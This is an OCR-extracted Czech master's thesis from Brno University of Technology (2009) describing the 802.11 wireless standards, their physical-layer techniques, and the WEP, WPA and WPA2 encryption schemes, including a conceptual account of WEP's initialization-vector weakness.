VYSOKE UCENI TECHNICKE V BRNE

BRNO UNIVERSITY OF TECHNOLOGY

FAKULTA ELEKTROTECHNIKY A KOMUNIKACNICH
TECHNOLOGI ,
'/ &9 USTAV TELEKOMUNIKACI
FACULTY OF ELECTRICAL ENGINEERING AND COMMUNICATION
&t DEPARTMENT OF TELECOMMUNICATIONS

ZABVEZPE(VZENi STANDARDU 802.11 A JEHO
MOZNOSTI

802.11 STANDARD SECURITY TECHNIQUES AND THEIR FEATURES

DIPLOMOVA PRACE
MASTER'S THESIS

AUTOR PRACE Bc. PAVEL ENDRLE
AUTHOR

VEDOUCI PRACE Ing. VACLAV PFEIFER
SUPERVISOR

BRNO 2009



>> Vlozit zadani prace <<



ANOTACE

Tato diplomova prace pojednavd o zabezpeCeni standardu 802.11 a jeho moznostech.
V uvodni Casti jsou popsany jednotlivé varianty tohoto standardu a jejich vlastnosti. V dalSich
nékolika kapitolach jsou podrobné popsany druhy Sifrovacich algoritmii pro zabezpeceni

bezdratovych siti, jejich vlastnosti, slabiny a principy funkci.

V praktické Casti prace jsou popsany provedené toky na tyto algoritmy a vysvétleny
jejich principy. Jedna kapitola je vénovana také zhodnoceni téchto ttokt z hlediska efektivity,

dostupnosti a pouzitelnosti v praxi.
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ABSTRACT

This master’s thesis is about 802.11 standard security techniques and their features. Particular
types of this standard and its features are shown in the introduction. Wireless network security
cypher alghoritm types, their features, weaknesses and principles of functions are closely

described in next few chapters.

Realized attacks on these security alghoritms with their principles are described and
shown in the practical part of thesis. One chapter is about effectivity, accessibility and

practicability valorization of these attacks in practice.
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1 UVOD

V dnesni dob& jsou bezdratové sité jednou z nejrychleji se rozvijejicich oblasti sitovych
technologii. Bezdratové sité se staly popularni diky své relativné snadné instalaci, spraveé a do
jisté miry 1 jednoduchosti. Tyto sité se zacaly uplatinovat 1 z diivodu jejich flexibility — tam,
kde neni mozné umistit klasickou dratovou sit’ ¢i by to bylo nakladnéjsi, tvoii ta bezdratova

velice efektivni alternativu.

Vlastnim cilem této diplomové prace bylo seznameni se S bezdratovymi sitémi,
zalozenymi na standardu 802.11, popis jednotlivych variant téchto siti (802.11a, b, g, n)
véetné problematiky jejich zabezpeCeni a realizovani utoki na zabezpecCovaci algoritmy
téchto siti véetné zevrubného popséni vlastnosti téchto utokli. Dal$im cilem prace bylo
sezndmeni se se sitovym simulatorem NS2 a vytvofeni jednoduchého skriptu, ktery by

demonstroval provoz v bezdratové siti.
Zabezpeceni bezdratovych siti se v posledni dob¢ stava velmi skloniovanym tématem.

Neni totiz nutné, jako v ptipad¢ siti dratovych, fyzicky pfistup uto€nika do sitg, a tak by mélo

byt zabezpeceni téchto siti jednou z hlavnich priorit pfi jejich vytvareni.
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2 HISTORIE

Pocatky bezdratovych siti sahaji do roku 1997 a jsou spojeny s institutem jménem IEEE.
IEEE, plnym nazvem Institute of Electrical and Electronics Engineers, je mezinarodni
neziskova organizace usilujici o vzestup technologie souvisejici s elektrotechnikou. Byla
vytvofena roku 1963 slou¢enim Institute of Radio Engineers a American Institute of Electrical

Engineers [1] .

Vznikl tedy standard s oznacenim IEEE 802.11, ktery obsahoval zakladni schéma
bezdratové komunikace, vcetné definovani 1. a 2. vrstvy v ISO modelu. Disponoval
ptenosovou rychlosti 1 nebo 2 Mbit/s ve frekvenénim pasmu 2,4 GHz. V této dobé pracoval
konkurenéni ,,dratovy* Ethernet s rychlostmi okolo 10 Mbit/s a tak mu bezdratové feSeni
nebylo schopno konkurovat. Postupem casu se ale tento standard zdokonaloval jak z hlediska
vétsich pfenosovych rychlosti, tak i snizujici se ceny koncovych zatizeni, coz nakonec vedlo

k masovému rozsifeni technologie Wi-Fi.
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3 STANDARDY
3.1.  IEEE802.11

Puvodni standard IEEE 802.11, vydany v roce 1997, definuje fyzické vrstvé ISO modelu

nasledujici ptfenosové techniky:

o DSSS radiovy ptenos
o FHSS radiovy ptenos
. IrDA pienos

Rychlost této varianty byla stanovena na 1 nebo 2 MBIt/s, pticemz standard byl
navrzen pro praci v mikrovinném pasmu 2,4 GHz. Toto pasmo bylo dale jesté zpresnéno dle

kontinentli nasledujicim zplisobem:

Tab. 3.1: Frekvenéni rozsahy jednotlivych oblasti

Region Frekvencni rozsah

Francie 2,4465 GHz az 2,4835 GHz
§pané|sko 2,4450 GHz aZ 2,4750 GHz
Evropa 2,4000 GHz aZ 2,4835 GHz
Japonsko |2,4710 GHz az 2,4970 GHz
Sev. USA |2,4000 GHz aZ 2,4835 GHz

V dnesni dobé se jiz tento standard nevyuzivd, nebot byl nahrazen novéjSimi
variantami. Pouziti pfenosového pasma 2,4 GHz znamena vyskyt hned nékolika nevyhod -
prekryv kanalti, ruseni od jinych zafizeni (napf. mikrovinné trouby), atd. Naopak ptenos po
IrDA standardu 802.11 nebyl nikdy prakticky vyuZit, nicméné v posledni dobé¢ se, pravé diky
zaruSeni stavajicich komunikacnich pasem, o této moznosti uvazuje. IrDA totiz pracuje

s kmitocéty v fadech THz a je tedy jen otazkou ¢asu, kdy se tato technika za¢ne pouzivat.
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4 STRUKTURY BEZDRATOVYCH SITI
4.1. Ad - hoc

Jedna se o takovou strukturu bezdratové sité, ve které klienti komunikuji mezi sebou
navzajem bez vyuziti AP. Principielné se vychazi z pouziti imaginarniho AP, které vytvari
prvni z pfipojenych klienti. VeSkerou komunikaci poté tento klient fidi a v ptipad¢ Ze mu z
jakéhokoliv divodu vypadne spojeni, tak se této fidici role ujiméa dalsi, ndhodné zvoleny,

klient.

Obr. 4.1: Ad-hoc struktura bezdratové sité

4.2. Infrastrukturni rezim

Na rozdil od Ad-hod struktury je v tomto typu siti obsazeno jedno nebo vice AP. K tomu
mohou byt klienti pfipojeni dratovée i bezdratove, pricemz AP vlastné plsobi jako ptechodovy

a fidici ¢len mezi témito dvéma druhy siti.

Network —

@Acccss point

= =
=

WiFi clients

Obr. 4.2: Infrastrukturni reZim bezdratové sité
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5 FHSS, DSSS A OFDM

V bezdratovych sitich se k pfenosu veskerych dat pouzivaji technologie s tzv. rozprostfenym
spektrem. Tyto technologie vyuzivaji niz§iho pienosového vykonu a vétsi Sifky pasma

k dosaZeni odolnosti viici ruseni. Technologie pracuji na fyzické vrstvé ISO modelu.

RozliSujeme dvé technologie ptenosu s rozprostifenym spektrem:

o FHSS (Frequency Hopping Spread Spectrum)
o DSSS (Direct Sequence Spread Spectrum)

5.1. FHSS

Jedna se o prvni znamou techniku rozprosteni spektra. Plivodné vyvinuta pro vojenské a

zpravodajské ucely na pocatku druhé svétové valky.

Ve svém principu se jedna o velice jednoduchou techniku - nosny signal, na ktery jsou
namodulovana data, je vysilan na ur¢ité frekvenci v bloku o sifce 1 MHz po urcitou, velmi
kratkou, dobu. Radové se jednd o dobu o maximalni délce 400 ms. Ve standardu 802.11 je
tato doba dokonce pouze 20 ms a navic je limitovan pouzivany pocet kanali pro kazdou
oblast (zemi). Poté vysila¢ pfeskoci a v pienosu pokracuje na jiné frekvenci (s dostateCnym
odstupem). Tento stav se periodicky opakuje, pficemZ nutnosti je, aby ob& komunikujici

strany (pfijimaci i vysilaci) znaly pfesnou sekvenci preskok. [2]

Z toho také systém vychazi — mozny uto¢nik na bezdratovou sit’ totiz neni schopen
vysledovat jednotlivé preskoky a odhalit tak komunikaci. To byl pivodni zamér, kdyz byla
tato technika vyvinuta pro vojenské ucely. V civilni sféte jde spisSe o to, aby prenaseny signal

pusobil co nejméné ruseni.
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RELE LA Y E T

'
- . .
e
:

womet | -

déllza pfeskokm musi byt vét3 nef 6 sub-kanall

. pienos A

pienos B

Obr. 5.1: Princip techniky FHSS

Technika FHSS se v dnesnich bezdratovych systémech jiz prakticky nevyuziva.
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5.2. DSSS

Technika DSSS (piimo rozprostiené spektrum) je v soucasnosti asi nejpouzivanéjsi technikou
V bezdratovych sitich. Vychazi z principu nahrazeni kazdého jednotlivého bitu urcitou
bitovou sekvenci, kterou nasledné pfenaSime komunikacnim kanalem. Jedna se tedy vlastné o
zavadéni jakési nadbytecnosti (redundance) do komunikac¢niho kandlu z divodu zvétSeni
odolnosti viéi ruseni. Navic je zde i bezpecnostni hledisko — moZznému tuto¢nikovi se takto

redundantni pfenasena data mohou jevit jako nahodny Sum. [2]

U plvodniho standardu 802.11 je k nahrazeni bitu pouZita 11bitova sekvence znama
pod nazvem ,,Bakertv kod“. Ve standardu 802.11 pouziva DSSS celkem 14 kanala o Sifce 22
MHz, pii rozdilu 5 MHz mezi jednotlivymi kmitocty. To ma za nésledek, ze vedlejsi kandly,
vyjma tfech (1.,6. a 11. kanalu), se ptekryvaji. Komunikace probihd vzdy pouze na jednom

kandle, ktery si jednotlivé zatizeni zvoli.

chip chip

e e
' T ™y
pseudonahodna sekvence [Tl [ [+ [alala] (@l [ [al T+ { [alala
E11-bltnwaarkerl{nd} i i i i i i i i i i i . i i i i i i i i i i .
datakpreneseniot) 41t O b
wysilané bity  [1{0[1[1]o[1]*[1]o]o]o]o]1[o]o[[a]ofo|: [1[1

wysilany signal | I

Ft“

;

Obr. 5.2: Princip techniky DSSS
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5.3. OFDM

Technologie ortogonalniho frekven¢niho multiplexu, vyznacujici se vysokou pienosovou
rychlosti (az 54 Mbit/s) a vysokou propustnosti, je pouzita u standardi 802.11b a 802.11g.
Princip techniky, jak uz nazev napovida, spo€iva ve vysilani biti nékolika subkanaly, které
pracuji paralelné¢ na nékolika frekvencich, namisto vytvareni jednoho velkého datového
kanalu jako u DSSS. Celkova rychlost je tedy dana souctem rychlosti ve vSech paralelnich

subkanalech.

Tab. 5.1: Pienosové rychlosti a pouZité modulace OFDM

Pfenosova rychlost [Mbit/s] | PouZitd modulace

6

9 DBPSK

12

18 DQPSK

24

36 DBPSK & QAM
48

54 DQPSK & QAM

Channel
Bandwidth
{Bw) Individual Sub-Channels

P

A | ) / \

]

e 2}

\ A4

Frequency
Bandwidth (Bw) = 1 / Symbol Rate (Rs)

Obr. 5.3: Princip OFDM
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5.4. Metoda CSMA/CA

Metoda CSMA/CA u bezdratovych siti, je metoda pro pfistup k pienosovému médiu. Na
rozdil od metalického Ethernetu, ktery vyuzivda CSMA/CD (mnohonasobny piistup S
naslouchanim nosné a s detekei kolizi), se zavadi pro bezdratové sité metoda predchazeni
kolizim. Je to dano poloduplexnim charakterem ptenosu na rozdil od plné duplexniho u siti

metalickych.

Princip metody neni nikterak slozity — stanice, ktera chce vysilat data nejprve ¢eka po
urcitou pevné danou dobu a nasloucha, po tzv. DIFS (Distributed Inter Frame Space). Kdyz se
ji médium jevi jako neobsazené, tak vysle specidlni paket s Zadosti o vysilani — tzv. ,,RTS
paket. Nasledné, pokud je paket piijemcem zaregistrovan a médium je volné, vysila pfijemce
tzv. ,,CTS paket™ a zdroj mize vysilat. V dobé, kdy si zdroj a cil vyménuji RTS a CTS paket,
toto ostatni stanice zaregistruji a nastavi se do modu, kdy cekaji ur€itou dobu na svoje

vysilani. Timto je snizena moZnost vzniku kolize.

Na konci komunikace jesté zdroj, v piipadé bezchybné komunikace, obdrzi tzv. ,,ACK

paket, jenz ma za ukol pfedat potvrzeni o piijmu dat. [12]

Uzel 1 choe wyszilat

) = 3
Uzeal 1 * kanal je obsazen JS'W i P’l{r"'f i
ol 2 ers Faiataro wealf 3 Uzel 1 vitézi ack
e St = 70
i OB~ |-
/ o7 f SR
Uzel 3 sipt =\ &
L , i< - >
/ Ffenos dat
PFEE!E}'IDEJ’I' J__‘__,__—'E ® (v |8 B _H_f’r
soutéEeni "y . e 2218|128 Dalsisoutsien
Zacatek nowveho soutéieni B Y M N P

Obr. 5.4: Princip metody CSMA/CA

21



5.5. IEEE 802.11a

Jedna se o standard vydany institutem I[EEE v roce 1999, ktery pracuje ve frekven¢nim pasmu
5 GHz. Ze zvoleného frekvencniho pasma plyne pro tento standard jednoznacna vyhoda
V podobé mensi vytizenosti (moznost pouziti vice kanala bez jejich vzajemného ruseni), avsak
ma 1 nékolik nevyhod. Zafizeni pro toto pasmo byla v té dob¢ drazsi nez zatizeni pro pasmo
2,4 GHz a navic tyto zafizeni nejsou zpétné kompatibilni. Nicméné vzdjemné se samoziejme

rusit nemohou. Standard jako prvni vyuziva na fyzické vrstvé modulaci OFDM.

Frekvencni pasmo 5GHz je v tomto standardu rozdéleno na tfi subpdsma, které se dale

déli na 12 kanalu o Sifce 20MHz.

Tab. 5.2: Rozdéleni pasma SGHz standardu 802.11a

Cislo kanalu | Frekvence [GHz] | Vyzafeny max. vykon
36 5,18
40 5,2
44 5,22
48 5,24 do 40mW
52 5,26
56 5,28
60 53
64 5,32 od 40mW do 200mW
149 5,745
153 5,765
157 5,785
161 5,805 od 200mW do 800mW
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Tab. 5.3: Rozdéleni pienosovych rychlosti standardu 802.11a

Pfenosové rychlosti 802.11a
Teoretické [Mbit/s] | Realné [Mbit/s]
6
9
18
24
36
48
54 max. cca 35

Pasmo 5 GHz bylo dfive v Evropé vyuzito, postupné vSak dochazelo k jeho uvoliovani, coz
vedlo pravé k moznosti jeho nasazeni V prostiedi bezdratovych siti. Jedna se o vhodnou

alternativu k sitim v pasmu 2.4 GHz, diky vyse popsanému vysokému provozu (zaruseni).
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5.6. IEEE 802.11b

Standard 802.11b byl vydan v roce 1999. Pracuje v pasmu 2,4 GHz, coz z néj ucinilo asi
nejrozsifené]si standard pro bezdratové sité na svété. Vychazi z pivodniho 802.11 a k pfenosu
na fyzické vrstvé vyuziva pouze pienosové techniky DSSS. Vyuziva modulace DBPSK pro
rychlost 1 Mbit/s, DQPSK pro 2 Mbit/s a CCK pro 5,5 a také pro 11 Mbit/s.

Je definovan pro nasledujici rychlosti:

. 1 Mbit/s
. 2 Mbit/s
. 5,5 Mbit/s
. 11 Mbit/s

Realn¢ vsak dosahuje rychlosti max. cca 6 Mbit/s. V Evropé je rozdélen na 13 kanalt
nasledujicim zptisobem:

Tab. 5.4: Rozdéleni kanali standardu 802.11b

Frekvence [GHz] | Cislo kanalu
2,412 1
2,417 2
2,422 3
2,427 4
2,432 5
2,437 6
2,442 7
2,447 8
2,452 9
2,457 10
2,462 11
2,467 12
2,472 13

Volba pienosového pasma 2,4 GHz u tohoto standardu znamena vyskyt vySe
zmifiovanych nevyhod (jako ptivodni 802.11) jako piekryv, ruseni, atd. V Ceské republice je
limitovan maximalni mozny vyzafeny vykon ze zafizeni, vyuzivajici tento standard, na
hodnotu 100 mW. Vseobecné je v tomto standardu doporucovano, pravé z davodu mozného

ruseni, pouzivani pouze 3 nepiekryvajicich se kanali —¢. 1, 6 a 11.
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5.7. IEEE 802.11g

Standard 802.11g vznikl diky silicim hlasim uzivatelli, volajicich po vysSich rychlostech
bezdratovych siti v pasmu 2,4 GHz (pasmo 5 GHz, které vyuziva 802.11a, by bylo teoreticky
mozné pouzit, avSak stale jeSté platily restrikce, které to zakazovaly). A proto také v roce

2003 vznikl 802.11g.

Maximalni pfenosova rychlost tohoto standardu byla stanovena na teoretickych
54 MBit/s (prakticky cca 30 Mbit/s), jiz bylo dosazeno pouzitim modulace OFDM spolu s
DSSS pro zajisténi kompatibility s 802.11b. Do jedné sité se diky témto dvéma pouzitym
modulacim tedy mohou pfipojovat klienti vyuzivajici oba zminéné standardy. Tento

mechanismus se nazyva RTS/CTS.

V praxi to funguje tak, ze paklize je sit’ nastavena pro provoz pouze s 802.11g
zafizenimi, tak funguje na plny vykon a zatizeni vyuZzivajici 802.11b se k ni pfipojit nemohou.
Paklize se ale piepne do kombinovaného rezimu, tak se mohou pfipojit zaroven zatizeni obou

standardii, avSak ma to za nasledek znacné zpomaleni ptenosu.

Standard 802.11g dovoluje pouziti nasledujicich ptenosovych rychlosti:

Tab. 5.5: Pienosové rychlosti 802.11¢g a jejich modulaéni techniky

Pfenosova rychlost [Mbit/s] | Pouzita modulacni technika
1 DBPSK
2 DQPSK
5,5 CCK

6

9 BPSK
11 CCK
12

18 QPSK
24

36

48

54 16-QAM
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5.8. IEEE 802.11n

Standard IEEE 802.11n se zacal vyvijet roku 2004. Jeho prvotnim cilem bylo upraveni
linkové a fyzické vrstvy ISO modelu tak, aby byl realné schopny komunikovat s okolim

rychlosti 100 Mbit/s, tedy rychlosti tehdy obvyklych Ethernet dratovych siti.

Stavebnim kamenem celého standardu 802.11n je technologic MIMO (Multiple-input,
multiple-output). Tato technologie spociva ve vyuziti nékolika, tzv. chytrych, antén, jejichz

prostiednictvim se prenasi odlisna data riznymi cestami v ramci jednoho radiového kandlu.

Pocatky MIMO sahaji az do roku 1970. Vroce 1984 vytvoiil Jack Winters z

Bellovych laboratofi prvni poznatky, tykajici se bezdratové komunikace za pouziti vice antén.

[4]

Existuji dvé specifikace technologie MIMO. Prvni je tzv. Draft 1.0, druh4 Draft 2.0.
Z nazvu jiz vyplyva, ze prvni se zrodila specifikace Draft 1.0, nicmén¢ zanedlouho musela byt
diky nedostatkim ptepracovana a nahrazena mnohem stabilnéj$i verzi 2.0. Ta nabizi
maximalni teoretickou pienosovou rychlost az 400 Mbit/s pii vyuziti 40 MHz §itky kanalu.
To je hlavni devizou standardu 802.11n. Zpétnd kompatibilita s 802.11g zajiStuje, Ze pii
vyuziti 40 MHz pasma kanalu (2 sousedni kanaly po 20 MHz) pro 802.11n se na obou vysila
informace o urcité délce vysilani, takze stanice vyuzivajici standardi 802.11a/g se chovaji

podle CSMA/CA tak, ze odlozi své vlastni vysilani az do doby, kdy je kanal volny.

Vyuziti vice antén pro zafizeni v tomto standardu znamend i nutnost piitomnosti
takovych antén, které byly pro provoz se zafizenim navrZzeny. V ptipad€ pouziti jiné antény
napiiklad s vétsim ziskem, atp., by toto vedlo ke znaénému znehodnoceni pienosovych
moznosti celého systému, nebot’ technologie MIMO totiZ obsahuje algoritmy psané piesné

pro dodany hardware.
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Obr. 5.5: TRENDnet TEW-631BRP 802.11n router

Technologie se také vyraznéji zabyva snizenim spotfeby energie u malych bateriové
napajenych zatizeni na Grovni vrstvy pfistupu k médiu — podpora tzv. ,,Power Save Multi-
Poll*.

Obr. 5.6: Priklad 802.11n bezdratové PCI karty
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5.9. MIMO, MISO a SIMO

Technologie MIMO znamené velky pokrok ve svété bezdratovych siti. PouZiti vice antén pii
prenosu komunika¢nim kandlem, na rozdil od jediné, znamena dle zvolené konfigurace bud’to

zvySeni mozného dosahu, spolehlivosti, nebo obou aspekt najednou.

o MIMO - Multiple Input Multiple Output (N¢kolikanasobny vstup / vystup)
o MISO - Multiple Input Single Output (N¢kolikanasobny vstup / jednoduchy vystup)
o SIMO - Single Input Multiple Output (Jednoduchy vystup / nékolikanasobny vystup)

receivers

transmitter [ ] receivers

Obr. 5.7: Znazornéni pribéhi signali pii pouZiti riznych kombinaci antén

o MIMO - Vétsi rychlost pfenosu dat, vétsi dosah signélu.
o MISO - Stejny dosah, vétsi spolehlivost.
o SIMO - Vétsi dosah. [5]
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5.10. Dodatky k 802.11

. IEEE 802.11 - Pivodni standard pro 1 a 2 Mbit/s rychlost s frekvenci 2.4 GHz
o IEEE 802.11a — 54 Mbit/s, 5 GHz standard (1999, produkty od 2001)

. IEEE 802.11b - Vylepseni 802.11 s podporou 5.5 a 11 Mbit/s (1999)

o IEEE 802.11c - Bezdratové piemosténi (bridge) - obsazeno v IEEE 802.1d

. IEEE 802.11d - Mezinarodni roamingovy dodatek (2001)

. IEEE 802.11e - VylepSeni QoS, véetné dlouhych (burst) paketl (2005)

o IEEE 802.11F - Komunikace mezi bezdratovymi piistupovymi body (2003)

o IEEE 802.11g — 54 Mbit/s, 2.4 GHz standard (zpétn¢ kompatibilni s 802.11b)
o IEEE 802.11h - Sprava spektra 802.11a (5 GHz) pro Evropu (2004)

o IEEE 802.11i - Vylepseny autentiza¢ni a Sifrovaci algoritmus (WPAZ2) (2004)
o IEEE 802.11j - Dodatek pro Japonsko, nové frekvenéni pasma pro multimedia
o IEEE 802.11K - Vylepseni spravy radio zdroju pro vysoké frekvence

o IEEE 802.11l - (rezervovano a nebude pouzito)

. IEEE 802.11m - Sprava standardu: pfenosové metody a drobné Gpravy

. IEEE 802.11n - Vyleps$eni pro vyssi datovou propustnost

o IEEE 802.110 - (rezervovano a nebude pouzito)

o IEEE 802.11p - Bezdratovy ptistup pro pohyblivé prostiedi (auta, vlaky, sanitky)
. IEEE 802.11q - (rezervovano a nebude pouZito, aby se nepletlo s 802.1Q)

. IEEE 802.11r - Rychlé piesuny mezi ptistupovymi body (roaming)

. IEEE 802.11s - Samoorganizujici se bezdratové sité. (ESS Mesh Networking)
. IEEE 802.11T - Pfedpovéd’ bezdratového vykonu - testovaci metody

o IEEE 802.11u - Spolupréce se sit¢émi mimo 802 standardy

o IEEE 802.11v - Sprava bezdratovych siti

o IEEE 802.11w - Chranéné servisni ramce

. IEEE 802.11x - (rezervovano a nebude pouzito)

o IEEE 802.11y - Pro béh ve frekvenénim pasmu 3650 - 3700 MHz [6]
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6 SIFROVANI V BEZDRATOVYCH SITiCH

Bezdratové sité standardi 802.11 vyuzivaji pro pfipojeni klienta 2 postupné kroky. Prvni
nazyvame autentizaci klienta a v dalsim kroku daného klienta AP asociuje. Autentizaci dale

dé€lime nésledujicim zplisobem:

. Otevieny systém, dale jen OS

o Autentizace sdilenym kli¢em

Sluzba autentizace je nutna pro vSechny komunikujici stanice Vv siti. V principu
nahrazuje fyzicky ptistup v sitich dratového Ethernetu. Je pouzivana, jak uz bylo zminéno,
vSemi stanicemi z diivodu jejich jednoznaéné identifikace. Autentizace v OS je nejjednodussi
autentizaCni algoritmus pouzivany v bezdratovych sitich. Z hlediska zabezpeceni tento
algoritmus predstavuje nulovou ochranu, jeho ukol spocdiva prakticky jen ve vymeéné
autentiza¢nich ramcu mezi stanici, kterd o autentizaci zada, a autentiza¢ni autoritou. V OS
muze byt autentizovana jakdkoliv stanice, kterd o to pozada. To je hojn€ vyuzivano v

prostiedi tzv. ,,free” bezdratovych siti, kde se jakdkoliv moZnost zneuZiti sité¢ neocekava.

Autentizace sdilenym klicem naopak vyzaduje po stanicich, které se chtéji do sité
pfipojit, znalost tajného klice. Ten je vSem stanicim v siti doru¢en zabezpecenym kanélem,
coz vSak standard 802.11 nijak dale nedefinuje. Takovyto zplsob autentizace vyzaduje
ptritomnost né&jakého Sifrovaciho algoritmu. Tim nejjednodussim je algoritmus WEP (Wired
Equivalent Privacy) — jak jiz anglicky nazev napovida, jedna se o ekvivalent zabezpeceni

k dratovym Ethernet sitim.
Sluzba asociace je vykonana az po UspéSné autentizaci klienta. V tomto kroku jsou

mezi AP a klientem dohodnuty parametry komunikace, jako napiiklad rychlost, Sifrovani,

atd. Az teprve po tomto kroku muze klient v siti zac¢it komunikovat. [8]
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6.1. Algoritmus WEP

Algoritmus WEP byl v bezdratovych sitich nasazen diky nutnosti zamezeni jejich mozného
odposlechu. Unik radiového signalu je totiZ jednou z nevyhod bezdratovych siti, oproti sitim
dratovym. Vysledkem snahy o zamezeni moznych odposlechi je pravé vySe zminovany

algoritmus, jenz ma za ukol ,,dodat* do bezdratovych siti stejnou miru bezpeci, jako maji sité

dratové.

SRR
m

i)

-+ (kontrolnl' souée't)

3
( Sifrovaci Klic )
4

Obr. 6.1: Princip algoritmu WEP
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Princip Sifrovani v algoritmu WEP vychazi ze skuteCnosti, ze vlastni pfenaSeny textovy
fetézec (otevieny text) je na bitové urovni secten (operace XOR) se stejné¢ dlouhou

pseudonahodnou sekvenci bitti, kterd je generovana algoritmem.

keystream
N +key—=|RC4|—=| 0D | 1|01
R — e—
seed [

Plaintext————|( 1|1 |0 |0

1101011

Cipher text ——»

Obr. 6.2: Princip $ifrovani algoritmu WEP

Otevieny text, ktery tvofi vlastni pfenasena zprava, doplnéna na svém konci o svijj tzv.
32 bitovy cyklicky redundantni soucet, vytvaii cely textovy fetézec Sifrovany WEP
algoritmem. Ten vyuziva ke generovani Sifrovaciho vektoru, pseudonahodny generator
obsazeny v proudové Siffe RC4 spolecnosti RSA. Na vstupu tohoto generatoru je WEP kli¢
spolu s inicializaénim vektorem. Tato Sifra funguje na zakladé dvou algoritmti, PRGA a KSA.
Tyto algoritmy pracuji se dvéma poli o velikosti 256 bitd. Prvni pole je naplnéno posloupnosti
¢isel 0 az 255, pricemz druhé pole je naplnéno tzv. ,,seedem® kli¢e. Néasledné jsou pole diky
algoritmu KSA promichany pomoci bitové substituce, naceZz v dalsim kroku je kazdy bit
zaSifrovan algoritmem PRGA. Takto vzniklé datové pole na vystupu se nazyva keystream,

neboli Sifrovaci sekvence. [13]

Vystupni sekvence pseudondhodného generatoru je pro jednu vstupni hodnotu vzdy
stejnd, proto také pokud deSifrujici stanice zna tajny WEP kli¢ spole¢né s inicializaénim
vektorem, tak pro ni neni zadny problém zpravu desifrovat. Desifrovani poté probiha vlastné
opa¢nym zpusobem. Z piijatého bloku dat se v prvnim kroku oddéli inicializaéni vektor.
Tento vektor, spolecn¢ s WEP kli¢em, ktery stanice musi znat, tvoifi vstupni proud dat pro
generator pseudondhodnych ¢isel. Na jeho vystupu je tedy logicky sekvence, kterd byla
pouzita pro Sifrovani vlastni zpravy. Kdyz nasledné tuto sekvenci secteme operaci XOR
s Sifrovanym textem, dostaneme ptivodni otevieny text, tedy vlastni zpravu plus 32 bitovy
cyklicky redundantni soucet. Oboje je nasledné rozdéleno, vypocet cyklického redundantniho

souctu je proveden znovu, a paklize se shoduje s ptivodnim, je zprava v potradku.
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WEP algoritmus je z dne$niho hlediska zabezpeceni bezdratovych siti zcela nevhodny. Za
dobu jeho fungovani totiz byly nalezeny zavazné bezpecnostni nedostatky, které maji fatalni

vliv na jeho pouzitelnost. WEP vyuziva dvé mozné délky tajného klice.

Tab. 6.1: Parametry WEP64 a WEP128

WEP64 | WEP128
Délka WEP klice 40 bit( | 104bith
Délka Inicial. vektoru |24 bitll | 24 bit(

Délka sifrovaciho klice |64 bitl | 128bitl

wewvr

kazdého Sifrovaciho kli¢e. Sifrovaci kli¢ je, jak bylo zminéno vyse, kombinace tajného WEP
klice a inicializaéniho vektoru. Ten ma v proudové Siffe RC4 délku 24 bitd, coz mu dava

moznost nabyvat maximaln¢ 2”24 hodnot. Toto se ukazalo jako fatdlni nedostatek.

Neopakovatelnost Sifrovaciho klice, je pfi maximélni hodnoté inicializa¢niho vektoru,
zajisténa po urcitou dobu. V dnesnich podminkach bezdratovych siti je to otazka cca nékolik
hodin. Poté se naplni maximalni pocet inicializa¢nich vektort a dojde k jejich opakovani, tedy
vlastné k tomu, ze vsiti koluji dva ramce, které byly zaSifrovany stejnym klicem. To
V konecném dusledku vede k potenciondlnimu nebezpe¢i prozrazeni obsahu Sifrovanych
zprav. KdyZ totiz Gto¢nik odchyti ramec, ktery mé ziejmé znamy obsah, tak miize diky
operaci XOR rozpoznat Sifrovaci sekvenci a tim se mu otevira prostor pro utoky na tento

algoritmus.

Algoritmus WEP bohuzel neni ,,napadnutelny* jen jednou metodou. Na prolomeni
algoritmu WEP lIze aplikovat rGzné metody utoku jak pasivni, kdy uto¢nik pouze
odposlouchéva pienos v siti a pak jej vyhodnocuje, tak i aktivni metody kdy uto¢nik ptimo
zasahuje do déni v siti vysilanim svych vlastnich paketi. Dal$i mozna chyba u tohoto
algoritmu byla popsana u nékterych generatori pseudonahodnych posloupnosti — na jejich
vystupu byla, diky vyrobni chybé¢, znaéné omezend vystupni posloupnost, coz v kone¢ném

dasledku vedlo k prolomeni algoritmu za dobu fadové v desitkach sekund.
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6.2. Algoritmus WPA

Algoritmus WPA (WiFi Protected Access) je dals$im moznym druhem zabezpeceni
bezdratovych siti. Po odhaleni slabin, které obsahoval algoritmus WEP, bylo nutné pfijit
802.11i, le¢ ten jesté nebyl dokonéen (implementaci nového zabezpeCovaciho algoritmu do
tohoto standardu je WPAZ2). Vznikl tak vlastné jako jakasi opravna nadstavba pro WEP
s cilem eliminovat jeho slaba mista. Diky tomuto faktu bylo docileno toho, ze star$i zatizeni

podporujici WEP jsou s nim pIn¢ kompatibilni.

Data jsou vtomto algoritmu Sifrovana opét pomoci proudové Sifry RC4, od
spole¢nosti RSA, nyni v§ak nové s 48 bitovym inicializa¢nim vektorem a 128 bitovym tajnym

klicem. [7]

Dv¢ hlavni vyhody WPA spocivaji v pouziti tzv. TKIP (Temporal Key Integrity
Protocol) mechanismu a wvyuziti protokolu 802.1x. V ptipadé TKIP se jedna se o
mechanismus, ktery ve své podstaté spolu s del$im inicializacnim vektorem fesi problémy
WEP algoritmu zavedenim dynamické zmény klicd pouzivanych k Sifrovani. Protokol 802.1x
zase implementuje moznost vyuziti autentiza¢niho serveru. Dalsi devizou protokolu 802.1x je
tzv. autentizace na portech, kdy protokol blokuje veskery provoz na urcitém portu a povoli jej
az po uspeésné autentizaci serverem. TKIP, jakozto 1 802.1x, budou v samostatnych kapitolach

popsany podrobné¢ji. [13]

WPA jiz nevyuziva 32bitovy kontrolni soucet (CRC-32), ktery je také bezpecnostnim
rizikem, nybrz aplikuje tzv. MAC (Message Authentication Code). Pro ucely WPA byl
nazvan jako MIC (Message Integrity Code). Tento kontrolni soucet vyuziva tzv. algoritmus
»Michael“. Jedna se o jednocestnou hashovaci funkci, ktera ma na vstupu otevieny text ktery
chceme prenaSet, MAC adresy zdroje a cile vysilani, plus tajny kli¢. Na vystupu poté

nalezneme onen 32 bitovy hash.
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6.3. Algoritmus WPA2

Algoritmus WPA?2 je dalSim rozsifenim Sifrovacich algoritmti pro bezdratové sité. Vychazi,
jak jiz nazev napovida, z algoritmu WPA, jez rozsifuje o tzv. CCMP protokol. Ten bude

v samostatné kapitole popsan podrobnéji.

Na rozdil od svych ptfedchadct (WEP a WPA) jiz nevyuziva proudovou Sifru RC4,
nybrz novgjsi blokovou S$ifru AES (Advanced Encryption Standard). Délka klice v tomto

zpusobu Sifrovani mtize byt az 256 biti.

